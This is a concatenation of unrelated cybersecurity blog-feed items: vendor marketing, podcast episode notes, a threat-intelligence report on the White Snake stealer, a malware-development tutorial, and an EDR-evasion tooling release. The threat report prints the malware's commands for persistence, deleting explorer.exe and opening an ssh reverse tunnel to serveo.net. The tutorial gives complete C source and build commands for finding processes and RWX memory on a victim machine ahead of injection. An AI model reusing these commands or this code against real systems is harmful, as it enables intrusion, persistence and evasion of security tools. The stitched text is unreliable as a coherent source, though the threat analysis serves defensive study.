Further, changes in the organization’s IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.
With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitus’ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could “enable digestible conversations with…customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.” With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.
After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools “just didn’t do it right, not the way NodeZero does.” What we often find is that other “pentesting tools” can’t do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.
“NodeZero enables me to have a relationship with a customer that I wouldn’t have otherwise had without the tool”
As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, “most of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.” Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.
Auditors require pentests for compliance reasons to verify that an organization’s cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. “One of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,” Brian shared – another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.
“100% of our [Intuitus] pentesting business we’re doing today; we would not be doing if we didn’t have NodeZero… Horizon3.ai has given us 20% more capability than any other tool we have used or demo’d. We have added many more customers to our business because we offer pentesting services.”
By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a “trusted advisor, helping us continue to grow and maintain our full service offering to customers.” Additionally, Intuitus’ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.
The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.
2024 Cloud Security Awards
The post 2024 Cloud Security Awards appeared first on Horizon3.ai.
2024 Cybersecurity Excellence Awards
The post 2024 Cybersecurity Excellence Awards appeared first on Horizon3.ai.
Infosec and Cyber Work hacks can help you pass Cisco’s CCNA certification exam! But what if you think you’re not ready to make that jump? What would it take for you to jump into the study of the CCNA with both feet? Infosec’s CCNA boot camp instructor Wilfredo Lanz wants you to know that you can be ready to start the big learning a lot faster than you think, and tells us why some of his most entry-level students often do better on the test than their more established classmates. If the prospect of passing the CCNA on the first try got you fired up, well, that’s the point! Keep the excitement coming, and check out today’s Cyber Work Hack.
0:00 - Cisco's CCNA certification exam
0:57 - Who enrolls in an Infosec CCNA boot camp
2:50 - What should you know before studying for the CCNA?
3:50 - What does a CCNA certified IT network professional do?
6:42 - Ensuring you're ready to take on CCNA
9:59 - How to gain networking experience
11:39 - Become an IT and networking professional
12:50 - Outro
Learn more about the CCNA: https://www.infosecinstitute.com/training/ccna/
About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.
Today on Cyber Work, I’ve got a big guest for you. Jeffrey Brown, Faculty at IANS Research, is also the chief information security officer for, not a company, not for a healthcare organization, but for the entire state of Connecticut! Brown walks me through the scope and reach of a state-wide CISO, a country-wide move toward a “whole of state” strategy and, frankly, I spend an awful lot of time talking to Brown about where he finds the time to do all the things he does.
0:00 - Being CISO of an entire state
1:50 - Early interest in computer, tech and security
5:17 - A communication background in cybersecurity
7:31 - Cybersecurity career time management
13:59 - Working as a CISO of a state
15:45 - How to prepare for a CISO role at the state level
18:51 - What does a CISO do for a U.S. state?
25:50 - State cybersecurity approach
27:41 - Cyber attacks and challenges states face
32:00 - Is cybersecurity awareness a waste of time?
37:31 - Skills needed to work in cybersecurity for the state
40:11 - Learning how to lead in cybersecurity
43:20 - Favorite parts of state cybersecurity
44:19 - Resources to improve cyber hygiene
46:14 - Best piece of cybersecurity career advice
48:47 - Learn more about Jeffrey Brown
49:33 - Outro
– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
This is a very wide-ranging and inspiring episode – whether you’re slogging through cert study or hitting a wall trying to figure out your next career pivot, my talk with Jeff will absolutely give you a new perspective. Keep it right here for Cyber Work!
About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.
Announcing new award willing continuous learning opportunities for cybersecurity professionals from OffSec.
The post Continuing to support cybersecurity teams with Award winning & innovative training in April appeared first on OffSec.
In this blog post, we'll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection.
The post AMSI Write Raid Bypass Vulnerability appeared first on OffSec.
The BI.ZONE Threat Intelligence team has uncovered a fresh campaign by the group targeting Russian and Belarusian organizations
The threat actors are distributing phishing emails under the guise of a federal agency. The emails have a legitimate document as an attachment. It aims to lull the recipient’s vigilance and prompt them to open the other file, a password-protected archive.
The files in the archive:
The executable file is a loader, in2al5d p3in4er (Invalid Printer). After a successful anti-virtualization check, the loader injects the malicious payload into the address space of the explorer.exe process.
The check performed with the dxgi.dll library enables the loader to retrieve the IDs of the manufacturers of the graphics cards used in the system. Where such IDs do not match those of Nvidia, AMD, or Intel, the malicious file would stop running.
The loader is distinguished by not using WinAPI calls to access the Windows kernel. Instead, the kernel functions are called directly through jumps to the syscall instruction with the required arguments.
The arguments for kernel calls are passed through the following registers: R10, RDX, R8, R9. The RAX register is used to store the number of the initiated system call. In this case, the number 0x0036 corresponds to the system call NtQuerySystemInformation.
It is noteworthy that during the execution the loader would attempt to open multiple random files non-existent in the system and write random data into them. While such behavior does not affect the execution, this may help to detect the malicious activity in the system.
In order to identify the explorer.exe process, the loader enumerates the structures of the launched processes searching for the matching checksum. After identifying the required process, the loader allocates a memory region within this process with execution rights and copies the decrypted malicious payload into it. Finally, it modifies the process context to execute the injected shell code.
The payload is the shell code obtained with the help of the open-source Donut utility, which allows executable files (including .NET) to run in the memory. The utility has some additional features such as compression and encryption of malicious payload.
In the case under review, the malicious payload executed by this loader is the White Snake stealer, version 1.6.1.9. This is the latest version of the stealer published at the end of March 2024. It does not verify whether the victim is located in Russia or other CIS countries.
In August 2023, the official White Snake channel published a post related to our investigation. The post informed that one of the customers had modified the malware and removed the AntiCIS module.
We believe that with this statement the developers merely wanted to avoid getting blocked on popular underground resources.
When started, White Snake performs the following actions:
"C:\Windows\System32\cmd.exe" /C chcp 65001 &&
timeout /t 3 > NUL &&
schtasks /create /tn "Explorer" /sc MINUTE /tr "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE" /rl HIGHEST /f &&
DEL /F /S /Q /A "C:\Windows\Explorer.EXE" &&
START "" "C:\Users\[user]\AppData\Local\RobloxSecurity\Explorer.EXE"
Interestingly, the legitimate explorer.exe would be copied without the injected shell code in this particular case.
White Snake can also use the serveo[.]net service. This option enables OpenSSH to be downloaded via the link to the GitHub repository (https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip) and launched with the following command:
ssh -o "StrictHostKeyChecking=no" -R [connection port]:[local address]:[local port] serveo.net
The latest versions have an updated list of resources to transmit the data harvested by the stealer:
More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence platform.
The BI.ZONE EDR rules below can help organizations detect the described malicious activity:
We would also recommend that you monitor suspicious activity related to:
Scaly Werewolf’s methods of gaining persistence on endpoints are hard to detect with preventive security solutions. Therefore we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONE EDR.
To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence platform. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to the company.
Business Wire 03/25/2024
Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Matt Hartley as Chief Revenue Officer (CRO), effective immediately.Hartley brings over 20 years of sales and operations excellence with a proven track record of building go-to-market (GTM) teams that achieve rapid scale and predictability…
Read the entire article here
The post Horizon3.ai Appoints Matt Hartley as Chief Revenue Officer to Spearhead Growth Initiatives appeared first on Horizon3.ai.
﷽
Hello, cybersecurity enthusiasts and white hackers!
In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.
As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.
Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).
Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
As you can see, we use NtGetNextProcess
API for enumerating processes.
So the final source code is looks like this (hack.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Let’s go to see everything in action. Compile our malware source code:
x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi
And run it at the victim’s machine (Windows 11 x64
in my case):
Try on another target process, for example OneDrive.exe
:
Our logic is worked, RWX-memory successfully founded!
As you can see, everything is worked perfectly! =^..^=
But there are the caveats. Sometimes we need to know is this process is .NET
process or Java or something else (is it really OneDrive.exe
process)?
For .NET
process we need interesting trick, if we open powershell.exe
via Process Hacker 2:
As you can see, in the Handles
tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>"
in our case PID = 3156
, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156
.
So, let’s update our function findMyProc
, like this:
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
Just convert process id int to UNICODE STRING and concat, then try to find section logic.
Here, NtOpenSection
API use for opens a handle for an existing section object:
typedef NTSTATUS (NTAPI * fNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
So, the full source code for this logic (finding .NET
processes in the victim’s system) looks like this:
/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);
// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];
WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);
// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy(sName.Buffer, objPath, wcslen(objPath) * 2); // add section name "prefix"
StringCchCatW(sName.Buffer, 500, procNumber); // and append with process ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName.MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
Let’s go to see second example in action. Compile it:
x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then just run it. Check on powershell.exe
:
.\hack2.exe powershell.exe
Now, second practical example worked as expected! Great! =^..^=
Ok, so what about previous question?
How we can check if the victim process is really OneDrive.exe
process? It’s just in case, for example.
Let’s check OneDrive.exe
process properties via Process Hacker 2:
As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1
. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe
process. I just want to show that you can examine any process and try to find some indicators in the section names.
So, I updated my function again and full source code of my third example (hack3.c
):
/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
HANDLE findMyProc(const char *procname) {
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");
// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, ¤t)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
sName.Buffer = (PWSTR)objPath;
sName.Length = wcslen(objPath) * sizeof(WCHAR);
sName.MaximumLength = sName.Length + sizeof(WCHAR);
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}
return current;
}
int findRWX(HANDLE h) {
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE)
printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
}
return 0;
}
int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
int pid = 0;
h = findMyProc(argv[1]);
if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
pid = GetProcessId(h);
printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
findRWX(h);
CloseHandle(h);
return 0;
}
As you can see, the logic is simple: check section name and try to open it.
Let’s go to see third example in action. Compile it:
x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w
Then, run it on the victim’s machine:
.\hack3.exe OneDrive.exe
As you can see, everything is worked perfectly again!
If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.
I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.
Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
Discover the essential cybersecurity training elements that insurers look for and how to build a winning program.
The post How Cybersecurity Training Lowers Insurance Premiums appeared first on OffSec.
In the ever-evolving landscape of cybersecurity, the speed of your response to emerging cyber threats can be the difference between a minor security incident and a catastrophic breach. Horizon3.ai provides you with a strategic advantage by enabling preemptive action in the
steadily shrinking window of time between the public disclosure of a vulnerability and its exploitation in the wild.
The post Get Ahead of Emerging Threats with Horizon3.ai’s Rapid Response Service appeared first on Horizon3.ai.
Business Wire 03/25/2024
Horizon3.ai, a pioneer in autonomous security solutions, today announced the launch of its Rapid Response service, now part of the NodeZero™ platform. This one-of-a-kind capability marks a significant advancement in autonomous penetration testing solutions by addressing a critical gap in measuring the real-world impact of exploitable vulnerabilities within the software many organizations…
Read the entire article here
The post Horizon3.ai Unveils Rapid Response Service for Cyber Resilience appeared first on Horizon3.ai.
Today on Cyber Work, we continue our deep dive into industrial control systems and operational technology security by talking with Donovan Tindill of DeNexus. Now, I’m just going to come out and say it: Tindill's episode is like a cybersecurity career seminar in a box, and a must-not-miss if you’re interested in not just ICS and OT security, but specifically the realm of Risk Assessment. Tindill brought slides and literally lays out his entire career for us to see, including the highs and even some of the lows, and what he learned from them. He explains the fuzzy distinctions between ICS security and the act of determining risk for said systems, gives us a 60 year history of the increasing attack surface and number or risk types associated with operational technology, and gives us tons of great career advice and ways to get started.
0:00 - Careers in operational technology
2:01 - Donovan Tindill's interest in tech
5:30 - Tindill's career roles in cybersecurity
10:42 - The jump to a supervision role
13:19 - Average day for a director of OT cybersecurity
18:39 - Volunteerism with Public Safety Canada
22:57 - Tindill's talk on active directory a decade later
23:43 - Current operational technology challenges
29:26 - New SEC regulations
33:54 - Thoughts on the SEC regulations
35:37 - How to work in OT, ICS or risk assessment
40:34 - Skill gaps for OT, ICS and risk management
42:44 - Tindill's favorite work
45:36 - Best cybersecurity career advice
48:22 - What is DeNexus?
52:22 - Learn more about Tindill and DeNexus
53:22 - Outro
– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.
Malicious actors continuously deploy new or improved techniques. Red teams must maintain an equally rapid pace of development of their tooling arsenal to remain effective at testing evolving defensive measure and preparing organizations for advanced threats. With the dedicated research and development efforts from the Outflank team, OST is constantly evolving, with additions of new, leading-edge tools unique to the market as well as regular enhancements to our existing tools.
In this quarterly release blog, we’ll summarize some of the latest updates we’ve made over the past few months.
Over the last few years we have clearly seen the big EDR names in the market up their game. Generally, we can say that they are doing a great job and that EDR-bypasses are becoming harder. However, EDRs can’t be expected to do magic, so there are still impressive, highly technical techniques that completely fly under the radar of even top tier EDRs.
An important change here is EDR bypass diversification: techniques that bypass all EDRs in one go are now increasingly less common. It is becoming more important for red teamers to know which exact technique to use (or not use) for a specific EDR. Up-to-date knowledge is important—particularly knowledge on how a specific EDR gets its data, how it works under the hood and where its blind spots and bypass opportunities lie. For OST we aimed on better equipping our customers with exactly that: knowledge.
Our experts spent months conducting deep technical research on the inner workings of major EDRs on the market. This resulted in significant updates to our documentation, detailing relevant details on the inner workings of EDRs, detailing generic bypass techniques, and major EDR specific techniques to use and techniques to not use. In our analysis of the behavioral detection methods of major EDRs, we were also able to both broaden our findings to provide strategies for general EDR evasion and create a methodology for when a more targeted approach is needed to avoid detection.
We didn’t stop at EDR tradecraft knowledge in written form. We also wanted to make it more tangible and readily available in some of our tools. We started with what we call “EDR Presets” in our Payload Generator.
Payload Generator allows red team operators to easily create payloads with a wide range of decoy tricks, binary transformation options (such as prepending random shellcode), payload transformation options (such as encoding), encryption and compression, encryption possibilities, process creation techniques (such as Write Hook, KernelCallbackTable, Earlybird, in-process thread), as well as OPSEC tricks, guardrails and many more. The total set of option combinations easily surpasses a hundred, and it is critical to select the proper combination to bypass specific EDRs. EDR Presets are configuration sets of these 100+ settings in the Payload Generator.
Each EDR Preset has demonstrated the ability to evade detection by a certain EDR system at specific points in time. Though presets are incredibly useful and are a significant time saver for red team operators, they do have a limited shelf life. In order to maintain an up-to-date library of effective presets, we obviously perform ongoing lab testing. But as OST has a large community of active users, we decided to use that power of the community. We have implemented a secure way where OST users can contribute such presets they discovered during their engagements. This collaborative effort highlights the benefit of being a part of a strong user community, providing access to a collective pool of knowledge from which everyone can benefit.
Although this was simple in theory, the implementation took some time. Ultimately, it was very much worth the effort. EDR presets have quickly become a key feature that OST customers like, and we are proud to say that the community is actively using the sharing functionality.
PowerShell is often difficult to use in an OPSEC safe manner, as it can be challenging to sufficiently obfuscate. However, we have developed a new technique that, using some PowerShell trickery, allows for stealthy lateral movements. We’re not sharing too many details here on purpose because, as far as we know, this is not a publicly known technique.
Our tool can be used on its own, but we also wanted to integrate this in both Cobalt Strike and our own C2: Stage1 C2. The latter meant we needed to make Stage1 have support for PowerShell as well, so we went ahead and added this functionality.
While OST contains many tools with multi-functional capabilities, there are also times when a smaller tool is what’s called for. Two new tools we added this quarter were:
Our formula for success with OST has consistently been grounded in three key pillars in order to support other red teams: tools, tradecraft, and community. Developing novel new tools that simplify and enhance engagements, offering educational opportunities that provide insightful new intel, and cultivating a solid community that facilitates connections and the exchange of experiences has enabled sustained growth and expansion. This proven formula also positions us to continue innovating, and we can’t wait to share more of what we’re working on.
If you’re interested in seeing all of the diverse offerings in OST, we recommend scheduling an expert led demo.
The post OST Release Blog: EDR Tradecraft, Presets, PowerShell Tradecraft, and More appeared first on Outflank.